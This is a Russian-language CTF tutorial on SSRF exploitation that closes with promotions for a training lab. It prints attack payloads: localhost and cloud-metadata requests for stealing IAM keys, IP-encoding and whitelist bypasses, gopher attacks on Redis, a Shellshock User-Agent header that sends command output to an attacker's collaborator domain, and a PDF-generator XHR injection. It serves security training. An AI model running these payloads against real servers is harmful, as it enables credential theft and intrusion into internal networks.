SSRF уязвимость в CTF: как заставить сервер делать запросы за тебя и получить флаг

SSRF уязвимость в CTF: как заставить сервер делать запросы за тебя и получить флаг

Веб-задача на 200 очков, форма загрузки аватарки по URL. Трое из пяти в команде ковыряют SQL-инъекцию в форме логина, один пытается подсунуть PHP-шелл через загрузку файла. А решение проще: вписать http://localhost/flag.txt в поле URL. Сервер послушно сходил по адресу, прочитал файл и вернул содержимое — вместе с флагом. Пять минут вместо двух часов.

SSRF уязвимость (Server-Side Request Forgery, CWE-918 по классификации MITRE) стабильно появляется в CTF-соревнованиях всех уровней — от простейших таск на HackTheBox до хардкорных цепочек на CTFtime. В 2021 году OWASP поместила SSRF на позицию A10 в Top 10, причём это единственная категория, добавленная по результатам community survey, а не на основе данных CVE. CTF-задачи на эту тему не абстрактные — они отражают реальную картину.

Что такое Server-Side Request Forgery и почему сервер слушается

Прежде чем ломать, разберём механику. Веб-приложения постоянно делают HTTP-запросы к другим сервисам: скачивают изображения по ссылке, генерируют превью страниц, проверяют наличие товара через внутренний API. Сервер принимает URL от пользователя и обращается по нему — штатная функциональность, заложенная разработчиками. Подробнее — в нашем статье о пентест веб-приложений.

SSRF атака начинается, когда приложение не проверяет, куда именно уходит запрос. Согласно определению OWASP A10:2021, SSRF-уязвимости возникают «whenever a web application is fetching a remote resource without validating the user-supplied URL». Вместо легитимного https://example.com/image.jpg атакующий подставляет http://127.0.0.1/admin — и сервер послушно обращается к собственному localhost. Внутренние сервисы, защищённые файрволом от внешнего мира, доверяют запросам с localhost по простой логике: «кто ещё обращается изнутри, кроме наших собственных компонентов?»

Типичные примеры уязвимой функциональности в CTF-задачах:

• Поле «Введите URL аватарки» — приложение скачивает изображение по указанному адресу
• Генератор превью ссылок — сервер ходит по URL и возвращает заголовок страницы
• Webhook-интеграции — пользователь указывает URL для получения уведомлений
• PDF-генератор — рендерит HTML из внешнего источника в PDF-документ
• Импорт данных — загрузка RSS-фида, CSV или XML по URL

В терминологии CWE-918 последствия эксплуатации SSRF охватывают три вектора: чтение данных приложения (Confidentiality), выполнение несанкционированных команд (Integrity) и обход механизмов защиты (Access Control). Переводя на нормальный язык: через одну SSRF уязвимость можно прочитать конфиг с паролями, добраться до админ-панели или утянуть IAM-креды облачного инстанса.

Место SSRF атаки в цепочке эксплуатации

[Применимо: внешний пентест, CTF-задачи с веб-сервисами]

SSRF редко бывает конечной целью — это точка входа для дальнейшей эксплуатации. В терминологии MITRE ATT&CK цепочка развивается по предсказуемому сценарию.

Первый шаг — Initial Access через Exploit Public-Facing Application (T1190). Находим SSRF в веб-приложении: уязвимый параметр URL, который позволяет перенаправить серверный запрос куда угодно.

Второй шаг — Discovery. Через SSRF сканируем внутреннюю сеть: перебираем порты на 127.0.0.1 или адреса во внутренних подсетях 192.168.x.x, 10.x.x.x. Это Network Service Discovery (T1046) и Remote System Discovery (T1018). По разным HTTP-ответам — 200, 403, 500, таймаут — определяем, какие сервисы работают, даже если содержимое ответа не видно.

Третий шаг — Credential Access. Если сервер крутится в облаке, запрашиваем метаданные через http://169.254.169.254/ — Cloud Instance Metadata API (T1552.005). Отсюда утекают IAM-токены, ключи доступа, конфигурация инстанса.

Четвёртый шаг — Collection. Через протокол file:// читаем локальные файлы: /etc/passwd, конфиги приложений, SSH-ключи — Data from Local System (T1005).

В CTF обычно хватает первых двух-трёх шагов для получения флага. В реальных пентестах SSRF позволяет пробросить запросы к внутренним сервисам, которые доверяют серверу-источнику и не требуют аутентификации — по сути, превращая уязвимый сервер в Proxy (T1090) для атакующего.

Где искать SSRF в веб-задачах CTF

В CTF-задачах SSRF чаще всего спрятана в одном из четырёх мест. Порядок — по частоте встречаемости из собственной практики решения таск.

Параметры с URL в теле запроса или GET-строке. Любой параметр вида url=, target=, page=, feed=, src=, dest=, redirect=, uri=, callback= — потенциальная точка входа. Перехватите запрос в Burp Suite, замените значение на адрес контролируемого сервера (Burp Collaborator или interactsh) и проверьте: пришёл callback — SSRF подтверждена. Не пришёл — пробуйте другие параметры.

Заголовки HTTP-запроса. Заголовки Host, X-Forwarded-For, X-Forwarded-Host, Referer иногда используются приложением для построения внутренних URL. Расширение Collaborator Everywhere для Burp Suite автоматически внедряет payload-заголовки во все исходящие запросы и фиксирует callback, если сервер обработал заголовок. По данным исследователей Solar Security (RU-2), в одном из реальных проектов заголовок Host использовался для загрузки шаблонов — подмена значения привела к blind SSRF и сканированию внутренних портов.

Загрузка файлов по ссылке. Формы аватарок, импорта данных, парсинга RSS-фидов. Некоторые загрузчики не только скачивают файл, но и возвращают его содержимое или метаинформацию — это Full SSRF, когда вы видите полный ответ сервера.

PDF-генераторы и рендеры HTML. Если приложение генерирует PDF из пользовательского ввода (счёт, чек, отчёт), HTML-инъекция через тег <iframe> или <script> может превратиться в полноценную SSRF. Подробнее об этом — в отдельном разделе ниже.

На практике: в CTF всегда включайте Burp Proxy и просматривайте каждый запрос. Параметр, принимающий URL, может быть скрыт в JSON-теле POST-запроса — через браузер вы его не увидите. interactsh от ProjectDiscovery (активно поддерживается, тысячи звёзд на GitHub) — бесплатная альтернатива Collaborator для обнаружения out-of-band запросов.

Эксплуатация SSRF: внутренние сервисы через localhost

[Применимо: внешний пентест, CTF, cloud-инфраструктура]

Самый базовый сценарий SSRF атаки — обращение к localhost. Внутренние сервисы часто слушают на 127.0.0.1 и доверяют запросам с этого адреса без аутентификации. Классический пример из PortSwigger (Tier-1) — интернет-магазин с функцией проверки наличия товара:

POST /product/stock HTTP/1.1
Host: target.ctf
Content-Type: application/x-www-form-urlencoded

stockApi=http://localhost/admin

Если админ-панель доступна только с localhost — сервер вернёт её содержимое. В CTF-задаче флаг обычно лежит именно на таком внутреннем эндпоинте: /admin/flag, /secret, /internal/api/key. По данным PortSwigger, причины такого поведения: контроль доступа реализован на уровне reverse proxy (а не приложения), для disaster recovery оставлен доступ без аутентификации с localhost, или админ-интерфейс слушает на отдельном порту, недоступном напрямую.

Помимо 127.0.0.1 пробуйте обращения к другим внутренним хостам: http://192.168.0.1/, http://10.0.0.1/, http://172.16.0.1/. CTF-задание может эмулировать внутреннюю сеть с несколькими хостами, где флаг находится на смежном сервере.

Что проверить первым делом:

• http://127.0.0.1/ и http://localhost/ — корень веб-сервера
• http://127.0.0.1/admin, /flag, /flag.txt, /secret — типичные CTF-эндпоинты
• http://127.0.0.1:8080/, :3000, :5000, :6379, :9200 — альтернативные порты с внутренними API, Redis, Elasticsearch

Если сервер возвращает разные коды ответа (200, 403, 500, таймаут) при обращении к разным портам — это позволяет составить карту открытых портов, даже без доступа к содержимому ответа. Solar Security (RU-2) описывают именно такой кейс: через blind SSRF в заголовке Host удалось определить открытые порты 80, 3306, 8080 на внутреннем сервере. Порт 3306 — MySQL. Дальше понятно.

SSRF и метаданные облака: забираем ключи через cloud metadata

[Применимо: CTF с cloud-инфраструктурой, внешний пентест облачных сервисов]

Если CTF-задача развёрнута на AWS EC2 или эмулирует облачную среду, metadata endpoint — главная цель SSRF эксплуатации. По адресу http://169.254.169.254/latest/meta-data/ сервер возвращает информацию об инстансе, а по пути /latest/meta-data/iam/security-credentials/ — IAM-роли и временные ключи доступа. Это техника Cloud Instance Metadata API (T1552.005 по MITRE ATT&CK).

Что доступно через metadata endpoint на AWS:

• Идентификатор инстанса, его тип, availability zone
• Привязанные IAM-роли с временными Access Key, Secret Key и Session Token
• User-data скрипты (часто содержат пароли и конфигурацию в открытом виде)
• Сетевые интерфейсы и VPC-конфигурация

Порядок действий: в уязвимом параметре url= подставляем http://169.254.169.254/latest/meta-data/iam/security-credentials/. Сервер вернёт название IAM-роли. Далее запрашиваем полный путь с именем роли — и получаем JSON с ключами доступа. Этих ключей достаточно для аутентификации в AWS CLI и доступа к S3-бакетам, DynamoDB-таблицам, Lambda-функциям — в зависимости от привилегий роли.

Аналогичные metadata-эндпоинты есть у GCP (http://metadata.google.internal/computeMetadata/v1/, требует заголовок Metadata-Flavor: Google) и Azure (http://169.254.169.254/metadata/instance, требует заголовок Metadata: true). Необходимость специфических заголовков делает эксплуатацию в этих облаках сложнее — через простой GET-параметр в SSRF заголовки не добавить.

Когда не работает. AWS внедрила IMDSv2 — token-based механизм. Он требует предварительного PUT-запроса с заголовком X-aws-ec2-metadata-token-ttl-seconds для получения токена, затем запросы идут с заголовком X-aws-ec2-metadata-token. SSRF через простой GET-параметр не позволяет сделать PUT-запрос или добавить произвольные заголовки — атака блокируется. Если инстанс настроен на IMDSv2-only (без fallback к v1), классический payload не пройдёт. В CTF-задачах IMDSv2 иногда включён специально для повышения сложности — и это, к слову, хороший признак того, что авторы задачи понимают реальную инфраструктуру.

SSRF обход фильтров: байпасы для CTF

В реальных приложениях и в CTF-задачах средней и высокой сложности SSRF-параметры защищены фильтрами. Базовый payload http://127.0.0.1/admin блокируется — и основная часть решения сводится к поиску обхода. Тут начинается самое интересное.

Обход чёрных списков

Чёрный список блокирует конкретные адреса: 127.0.0.1, localhost, /admin, внутренние подсети. Согласно описанию PortSwigger (Tier-1), обойти чёрный список можно через альтернативные представления адреса:

• Десятичная форма: http://2130706433/ (это 127.0.0.1 в decimal; работает только при string-based фильтре — если бэкенд резолвит URL и сверяет IP, альтернативные формы будут нормализованы и заблокированы)
• Шестнадцатеричная: http://0x7f000001/
• Укороченная запись: http://127.1/ или http://0/
• IPv6: http://[::1]/ или http://[0000::1]/
• Домен, резолвящийся в 127.0.0.1: http://127.0.0.1.nip.io/, http://127.0.0.1.sslip.io/ или http://localtest.me/
• Сервис localtest.me — домен, который стабильно резолвится в 127.0.0.1 (также *.nip.io, *.sslip.io)

Дополнительные приёмы из Intigriti (Tier-2) и PayloadsAllTheThings:

• URL-кодирование: http://%31%32%37%2e%30%2e%30%2e%31/ — парсер может декодировать URL после проверки фильтром
• Двойное URL-кодирование — работает, если сервер рекурсивно декодирует входные данные
• Смена регистра: http://LOCALHOST/admin или /ADMIN — если фильтр проверяет строку с учётом регистра
• Null-byte: /%00/ перед адресом — обрезает строку для некоторых парсеров

Полный набор bypass-пейлоадов собран в репозитории PayloadsAllTheThings на GitHub (раздел Server Side Request Forgery, активно обновляется). Это основной справочник для CTF — держите его открытым при решении задач.

Обход белых списков и open redirect

Белый список строже: разрешены запросы только к конкретным доменам. PortSwigger описывает техники обхода, основанные на особенностях URL-парсинга:

• Встраивание в userinfo: https://allowed-host@evil-host/ — парсер видит allowed-host как логин для базовой аутентификации, а реальный запрос уходит на evil-host
• Фрагмент (#): https://evil-host#allowed-host — парсер может принять allowed-host за часть URL после якоря
• DNS-иерархия: https://allowed-host.evil-host/ — поддомен evil-host, который резолвится куда нужно атакующему
• Комбинация приёмов: URL-кодирование символа @ + фрагмент + double-encoding — собирайте цепочки из нескольких байпасов

Отдельный и часто решающий метод — цепочка с open redirect. Если на разрешённом домене есть уязвимость открытого перенаправления (например, /redirect?url=http://localhost/admin), фильтр пропускает запрос к разрешённому домену. Сервер получает 302-редирект и следует по нему — уже без повторной проверки. Фреймворки с включённым follow_redirects особенно уязвимы к этой цепочке, потому что проверка домена происходит только на первом запросе, а редирект обрабатывается автоматически. Это подтверждают и авторы RU-1 (Habr/PT), и PortSwigger.

В CTF-задачах на SSRF обход фильтров — обычно ключевая часть решения. Задача на 100 очков даст url=http://localhost/flag без фильтров. Задача на 300-500 очков потребует цепочку из двух-трёх байпасов. И именно здесь решается, кто просто знает про SSRF, а кто умеет её готовить.

Альтернативные протоколы: file://, gopher://, dict://

[Применимо: CTF, внутренний пентест legacy-систем с curl/libcurl на бэкенде]

SSRF не ограничивается HTTP-запросами. Если серверный компонент использует библиотеку с поддержкой нескольких протоколов (типичный случай — curl или libcurl), атакующий может использовать альтернативные схемы. Согласно OWASP SSRF Prevention Cheat Sheet (Tier-1), SSRF не привязана к HTTP — первый запрос обычно HTTP, но при наличии поддержки протоколов вектор расширяется.

• file:///etc/passwd — чтение локальных файлов. В CTF — прямой путь к флагу, если он лежит в файловой системе. Схема file:// работает через file_get_contents()/fopen() (при allow_url_fopen=On). Схемы gopher:// и dict:// доступны только через libcurl (curl_exec в PHP, libcurl-биндинги в Python/Ruby) — современный PHP 8.x не поддерживает gopher через стандартные обёртки
• gopher:// — позволяет отправлять произвольные TCP-пакеты. Через gopher можно сформировать запрос к Redis (SET, CONFIG SET), MySQL, SMTP и другим TCP-сервисам. Инструмент Gopherus (Python) генерирует gopher-пейлоады для эксплуатации Redis, MySQL, FastCGI, Memcached — по данным TheHacker.recipes (Tier-2), через Gopherus можно получить reverse shell при наличии доступного Redis без аутентификации
• dict://attacker:11111/ — подключение к dictionary-серверу, используется для определения открытых портов и версий сервисов
• sftp://, tftp:// — менее распространённые, но иногда поддерживаемые протоколы

Когда НЕ работает. Современные HTTP-клиенты — requests в Python, HttpClient в Java, fetch в Node.js — по умолчанию поддерживают только http:// и https://. Альтернативные протоколы работают, когда бэкенд использует curl напрямую (через exec или libcurl-биндинги), либо PHP с file_get_contents(). Определить стек можно по косвенным признакам: в заголовке ответа видите Server: Apache и задача на PHP — шансы на file:// и gopher:// высоки. Задача на Node.js/Express — почти наверняка только HTTP.

Blind SSRF: когда ответ не возвращается

[Применимо: CTF advanced, bug bounty, внешний пентест]

Blind SSRF — ситуация, когда сервер делает запрос по указанному URL, но не возвращает содержимое ответа пользователю. Вы не видите, что сервер получил, — но запрос произошёл. Как описывают исследователи Solar Security (RU-2), при blind SSRF «извлечение информации происходит не напрямую, а через сторонние параметры: код и время ответа сервера».

Методы обнаружения:

• Out-of-band каналы. Вставляете в параметр URL вашего Collaborator-домена или interactsh-хоста. Если приходит DNS-запрос или HTTP-callback — сервер сделал запрос. Collaborator Everywhere для Burp автоматизирует этот процесс
• Тайминг. Замеряете время ответа при обращении к открытым и закрытым портам. Таймаут на закрытом порту заметно дольше — это позволяет сканировать внутренние сервисы без видимого ответа
• Разница в кодах ответа. 200 при обращении к существующему хосту, 500 при несуществующем — информации достаточно для маппинга сети

Интересный приём для CTF уровня hard — цепочка blind SSRF с Shellshock. CVE-2014-6271 (CVSS 9.8 CRITICAL, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-78) позволяет выполнить произвольную команду через переменные окружения Bash. Если на внутреннем сервере работает CGI-приложение с уязвимым Bash, SSRF-запрос с заголовком User-Agent: () { :; }; /bin/nslookup $(whoami).your-collaborator.net приведёт к выполнению команды. Результат вернётся через DNS-запрос на ваш сервер. CVE-2014-6271 внесена в CISA KEV 28 января 2022 года (активно эксплуатируется с момента раскрытия в 2014 году), EPSS probability 1.0 (percentile 0.9999, Top 1% по FIRST.org). Да, Shellshock — 2014 год, но в CTF-задачах он жив и здоров. Подобный сценарий описан в лабораторной работе PortSwigger «Blind SSRF with Shellshock exploitation».

SSRF в PDF-генераторах

PDF-генераторы — отдельный класс целей для SSRF, часто встречающийся в CTF. Если приложение рендерит PDF из пользовательского HTML-контента, можно внедрить HTML-тег, инициирующий серверный запрос.

Простейший payload — <iframe src="http://localhost/flag.txt"></iframe>. PDF-генератор рендерит iframe, обращаясь к localhost от имени сервера, и содержимое попадает в итоговый PDF-файл. Работает преимущественно на legacy-инсталляциях wkhtmltopdf (проект архивирован в 2023) без дополнительных ограничений (chroot, AppArmor, seccomp). На Puppeteer/Chromium успех зависит от настроек запуска (--no-sandbox, отсутствие network restrictions). Как описывает Intigriti (Tier-2), аналогичный эффект даёт JavaScript:

<script>
var x = new XMLHttpRequest();
x.onload = function(){ document.write(this.responseText) };
x.open('GET','http://127.0.0.1/flag');
x.send();
</script>

Этот подход работает, если PDF-генератор использует движок на основе Chromium (Puppeteer, headless Chrome) — по умолчанию async JS выполняется до рендеринга. На wkhtmltopdf (WebKit) требуется флаг --javascript-delay N для ожидания async-операций, иначе PDF будет отрендерен до получения ответа. По данным Intigriti, некоторые генераторы запускают Chromium без sandbox и с правами root — что расширяет SSRF до потенциального RCE.

Когда не работает: если генератор только подставляет текст в шаблон без рендеринга HTML, или если загрузка внешних ресурсов заблокирована через CSP (Content Security Policy) или сетевые правила. В CTF подсказку даёт формат ввода: задание просит ввести «HTML для визитки» или «текст для генерации отчёта» — пробуйте injection.

Пошаговая методология решения CTF-задачи с SSRF

Требования к окружению:

• ОС: любая (Kali Linux рекомендуется для готового набора инструментов)
• RAM: минимум 4 ГБ (Burp Suite + браузер с включённым прокси)
• Инструменты: Burp Suite Community или Pro, curl, браузер с настроенным прокси через 127.0.0.1:8080
• Для blind SSRF: interactsh (бесплатный, ProjectDiscovery) или Burp Collaborator (только в Pro)
• Сеть: стабильный доступ к CTF-платформе; для interactsh — исходящий DNS и HTTP

Шаг 1. Разведка функциональности. Пройдитесь по всем страницам приложения с включённым Burp Proxy. Ищите параметры, принимающие URL: url=, src=, page=, feed=, callback=. Проверяйте тело POST-запросов в JSON-формате — URL может быть вложенным. Включите расширение Collaborator Everywhere, если используете Burp Pro.

Шаг 2. Подтверждение SSRF. Подставьте в найденный параметр адрес контролируемого сервера. Callback пришёл — SSRF подтверждена. Определите тип: Full (видите ответ в теле HTTP-ответа или в скачанном файле) или Blind (callback есть, но содержимое ответа недоступно).

Шаг 3. Базовая эксплуатация. Начните с простого: http://127.0.0.1/, http://localhost/flag, http://localhost/admin. Если задача связана с облаком — http://169.254.169.254/latest/meta-data/. Попробуйте file:///etc/passwd и file:///flag.txt.

Шаг 4. Обход фильтров. Если базовые payload блокируются — определите тип фильтра по сообщению об ошибке. Чёрный список: пробуйте альтернативные IP-записи (127.1, 0x7f000001, [::1], 0). Белый список: ищите open redirect на разрешённом домене, пробуйте @-трик и URL-кодирование.

Шаг 5. Расширение атаки. Нашли SSRF — сканируйте внутренние порты. Перебор портов на 127.0.0.1 через Burp Intruder: payload от 1 до 65535, группируйте по кодам ответа. Ищите Redis на 6379, Elasticsearch на 9200, внутренний API на 8080/3000/5000.

Шаг 6. Получение флага. Флаг может быть: в файле (/flag.txt, /etc/flag), в ответе внутреннего API (/admin/flag), в переменной окружения (через metadata: /latest/user-data), в базе данных (через gopher к Redis или MySQL), или в PDF-документе, сгенерированном с вашим payload.

Этот порядок шагов покрывает 90% CTF-задач на SSRF. Оставшиеся 10% — экзотика вроде DNS rebinding или SSRF через XXE (XML eXternal Entity), которые требуют отдельного разбора.

Когда SSRF не сработает: ограничения техники

Не каждый параметр с URL — это SSRF, и не каждая SSRF — путь к флагу. Понимание ограничений экономит время на CTF, когда минуты решают.

Строгая whitelist-валидация с DNS-резолвингом. Если сервер не просто проверяет строку URL, а резолвит DNS и сверяет полученный IP-адрес с белым списком, обход через @-трик или DNS-имена не поможет. Нужен DNS rebinding — контролируемый домен, который при первом запросе резолвится в разрешённый IP, а при повторном (когда проверка уже пройдена) — во внутренний. Техника работает только при определённом тайминге и нестабильна.

IMDSv2 в AWS без fallback. Как описано выше, IMDSv2 требует PUT-запрос для получения токена. Через простой GET-параметр в SSRF добавить произвольные заголовки невозможно — cloud metadata недоступны.

WAF и network-level блокировка. ModSecurity, Cloudflare WAF, AWS WAF имеют правила для детектирования SSRF-паттернов: обращения к RFC1918-адресам, metadata-эндпоинтам, альтернативные кодировки IP. В CTF WAF обычно не используется, но в bug bounty это стандартный барьер.

Отсутствие интересных внутренних сервисов. SSRF найдена, сервер делает запросы — но за ним ничего: нет админ-панели, нет metadata, внутренние сервисы не отвечают. В CTF такое бывает редко (задача строится вокруг SSRF), но в реальных пентестах — регулярно. SSRF на изолированном сервере без доступа к внутренней сети имеет ограниченный импакт.

Outbound-фильтрация. Сервер не может сделать исходящий DNS-запрос или TCP-соединение к внешним хостам — blind SSRF не детектируется через Collaborator или interactsh. Остаётся только тайминг-анализ и наблюдение за поведением приложения. В CTF outbound-фильтрация обычно не применяется, но бывает в задачах категории hard/insane.

Протокольные ограничения. Если бэкенд использует HTTP-клиент без поддержки file:// и gopher:// (Python requests, Node.js axios), альтернативные протоколы не сработают. Определить можно по стеку: Node.js/Express → только HTTP, PHP + curl → полный набор протоколов.

---

SSRF в CTF — это упражнение на внимательность и знание байпасов. Каждая задача имеет конкретный набор ограничений, и решение — это комбинация правильного payload с пониманием серверного стека.

Из наблюдений за два года решения CTF-задач: разрыв между задачей на 200 очков и реальным баг-репортом — примерно как между учебным полигоном и продакшном. В CTF вам дают форму с параметром url= и намекают, что нужно обратиться к localhost. В реальных приложениях SSRF прячется в заголовках, в парсинге XML (XXE к SSRF), в webhook-интеграциях, которые тестируются в последнюю очередь. Большинство найденных в bug bounty SSRF — blind, без прямого ответа, с необходимостью выстраивать цепочку из open redirect, SSRF и конкретного внутреннего сервиса.

Что отличает тех, кто от CTF переходит к реальным находкам: не набор payload из PayloadsAllTheThings (его знают все), а дисциплина проверки каждого параметра и каждого заголовка. Collaborator Everywhere — не магия, а привычка пропускать каждый запрос через прокси. И ещё одна вещь: SSRF — не изолированная уязвимость, а часть цепочки. В CTF-задаче вы применяете одну технику. В реальности SSRF — первый шаг, за которым следует эскалация: от чтения метаданных к полному доступу в AWS-аккаунт, от обращения к Redis к записи SSH-ключа. Кто умеет строить такие цепочки — тот забирает серьёзные баунти. Если хочешь не просто решать CTF-задачи, а отрабатывать полные цепочки от разведки до эксплуатации с обратной связью — на WAPT есть лаба именно с этим вектором и ментор в чате при затыке.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».